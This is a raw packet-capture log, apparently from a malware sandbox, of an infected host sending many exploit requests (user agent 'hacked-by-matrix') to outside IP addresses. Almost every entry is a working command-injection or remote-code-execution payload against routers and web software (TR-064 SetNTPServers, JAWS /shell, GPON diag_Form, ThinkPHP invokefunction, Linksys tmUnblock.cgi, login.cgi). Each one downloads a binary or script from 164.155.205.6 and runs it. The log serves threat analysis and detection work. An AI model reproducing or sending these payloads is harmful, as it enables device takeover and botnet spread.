Mar 2, 2024 12:38:19.965379953 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:21.435146093 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:24.536678076 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:30.427875996 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:42.198206902 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1437	192.168.2.23	34256	135.84.245.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.866019964 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1438	192.168.2.23	42748	188.54.79.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.971009016 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:20.217391968 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:21.657672882 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:24.536701918 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:30.427881956 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:41.942290068 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1439	192.168.2.23	58458	8.129.130.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.984600067 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:20.006987095 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:20.351774931 CET	181	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1440	192.168.2.23	51650	212.107.133.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158782959 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1441	192.168.2.23	37274	210.24.67.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158807993 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1442	192.168.2.23	38882	5.181.74.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158814907 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1443	192.168.2.23	38436	109.35.57.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158828974 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1444	192.168.2.23	47978	212.28.8.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158838987 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1445	192.168.2.23	57934	210.170.15.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158859015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1446	192.168.2.23	60280	109.161.229.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158895016 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1447	192.168.2.23	46010	42.94.41.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.158925056 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1448	192.168.2.23	49262	95.101.199.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.432801008 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:19.599509001 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Sat, 02 Mar 2024 11:38:19 GMT Date: Sat, 02 Mar 2024 11:38:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 32 37 37 31 33 30 32 26 23 34 36 3b 31 37 30 39 33 37 39 34 39 39 26 23 34 36 3b 33 33 33 31 63 36 38 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.12771302.1709379499.3331c68f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1449	192.168.2.23	46194	172.65.124.117	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:19.474488020 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1450	192.168.2.23	46026	212.189.202.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:20.605638981 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:21.629103899 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:22.808949947 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:25.308577061 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:30.167949915 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:39.638612032 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1451	192.168.2.23	53420	50.107.81.201	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.112617970 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
